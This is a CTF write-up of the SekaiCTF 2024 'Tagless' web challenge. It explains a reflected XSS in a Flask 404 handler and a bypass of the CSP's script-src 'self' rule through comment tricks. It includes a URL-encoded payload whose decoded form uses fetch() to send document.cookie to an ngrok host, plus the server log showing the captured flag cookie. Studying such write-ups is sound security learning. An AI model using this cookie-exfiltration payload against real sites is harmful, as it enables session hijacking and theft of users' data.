siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Tagless

Table of Contents

Overview

Background

Who needs tags anyways

Enumeration

Index page:

In here, we can enter a message, and it’ll be reflected to the white box below:

There’s not much we can do in here, let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|14:50:56(HKT)]
└> file dist.zip       
dist.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|14:50:58(HKT)]
└> unzip dist.zip     
Archive:  dist.zip
  inflating: Dockerfile              
  inflating: build-docker.sh         
 extracting: requirements.txt        
   creating: src/
  inflating: src/app.py              
  inflating: src/bot.py              
   creating: src/static/
  inflating: src/static/app.js       
   creating: src/templates/
  inflating: src/templates/index.html  

First off, what’s our objective in this challenge? Where’s the flag?

In src/bot.py, we can see that the flag is in the flag cookie:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time 

class Bot:
    def __init__(self):
        chrome_options = Options()
        chrome_options.add_argument("--headless")  
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--no-sandbox") 
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--disable-extensions") 
        chrome_options.add_argument("--window-size=1920x1080") 
        
        self.driver = webdriver.Chrome(options=chrome_options)

    def visit(self, url):
        self.driver.get("http://127.0.0.1:5000/")
        
        self.driver.add_cookie({
            "name": "flag", 
            "value": "SEKAI{dummy}", 
            "httponly": False  
        }) 
        
        self.driver.get(url)
        time.sleep(1)
        self.driver.refresh()
        print(f"Visited {url}")

    def close(self):
        self.driver.quit()

As you can see, when the visit method is called, it’ll launch a headless Chrome browser, go to http://127.0.0.1:5000/, set cookie flag with the real flag value and attribute httponly set to False. After that, it’ll go to the url page.

In src/app.py POST route /report, we can send a url parameter to the method visit:

from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse

app = Flask(__name__, static_folder='static')
[...]
@app.route("/report", methods=["POST"])
def report():
    bot = Bot()
    url = request.form.get('url')
    if url:
        try:
            parsed_url = urlparse(url)
        except Exception:
            return {"error": "Invalid URL."}, 400
        if parsed_url.scheme not in ["http", "https"]:
            return {"error": "Invalid scheme."}, 400
        if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
            return {"error": "Invalid host."}, 401
        
        bot.visit(url)
        bot.close()
        return {"visited":url}, 200
    else:
        return {"error":"URL parameter is missing!"}, 400

Therefore, our goal is to let the headless Chrome (Bot) to trigger our client-side vulnerability payload to exfiltrate the flag cookie.

Let’s find a client-side vulnerability then!

One route stood out the most is the 404 error route:

@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"

In here, when the Flask application encountered an HTTP status code “404 Not Found”, it’ll call function page_not_found. In this function, it directly parses our request’s URL path (request.path) to f"{path} not found".

Since there’s no sanitization/HTML entity encoding/escaping, it’s vulnerable to XSS (Cross-Site Scripting). More specifically, it’s reflected XSS.

Let’s try to inject a <script> tag:

We successfully injected a <script> tag! However, there’s no alert box as we expected. Why?

Well, if we look at the console tab, we can see an error:

It’s because the CSP (Content Security Policy)’s script-src directive is blocking it!

In src/app.py’s after_request decorator, we can see that all responses have the following CSP:

@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp

Let’s copy the CSP to Google CSP Evaluator and see how can we bypass it:

In the script-src directive, since there’s no unsafe-inline source, we can’t execute arbitrary JavaScript code using inline <script> tag. However, it has source self, maybe we can use this source to bypass the script-src directive CSP?

Well yes we can! In the 404 error page, the injected <script> tag can include the 404 error page, such as the following:

<script src="/alert(document.domain)"></script>

That way, our injected <script> tag can execute arbitrary JavaScript code in the src attribute! Let’s try it!

Hmm… We got a JavaScript syntax error. Well, this is expected because the 404 error page has some invalid JavaScript syntax:

To solve this, we can use the multi-line comment syntax /* and */, as well as the single line comment syntax //:

<script src="/**/alert(document.domain)//"></script>

Nice! It worked! We successfully bypassed the CSP!

Exploitation

Armed with the above information, we can exfiltrate the bot’s flag cookie to our attacker server.

To do so, we can:

┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|15:30:05(HKT)]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|15:30:04(HKT)]
└> ngrok http 80
[...]
Forwarding                    https://50e6-{Redacted}.ngrok-free.app -> http://localhost:80            
[...]
http://127.0.0.1:5000/%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%31%25%32%35%25%33%32%25%36%31%25%32%35%25%33%32%25%36%36%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%38%25%32%35%25%33%32%25%33%38%25%32%35%25%33%36%25%33%30%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%35%25%33%33%25%33%35%25%32%35%25%33%33%25%33%30%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%33%36%25%32%35%25%33%32%25%36%34%25%32%35%25%33%37%25%36%32%25%32%35%25%33%35%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%36%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%32%25%36%34%25%32%35%25%33%36%25%33%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%30%25%32%35%25%33%32%25%36%36%25%32%35%25%33%33%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%34%25%32%35%25%33%37%25%36%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%36%34%25%32%35%25%33%36%25%33%30%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65

URL decoded payload:

<script src="/**/fetch(`https://50e6-{Redacted}.ngrok-free.app/?cookie=${document.cookie}`)//"></script>

HTTP server log:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [26/Aug/2024 15:42:05] "GET /?cookie=flag=SEKAI{w4rmUpwItHoUtTags} HTTP/1.1" 200 -

Nice! We got the flag!

Conclusion

What we’ve learned:

  1. Reflected XSS and CSP bypass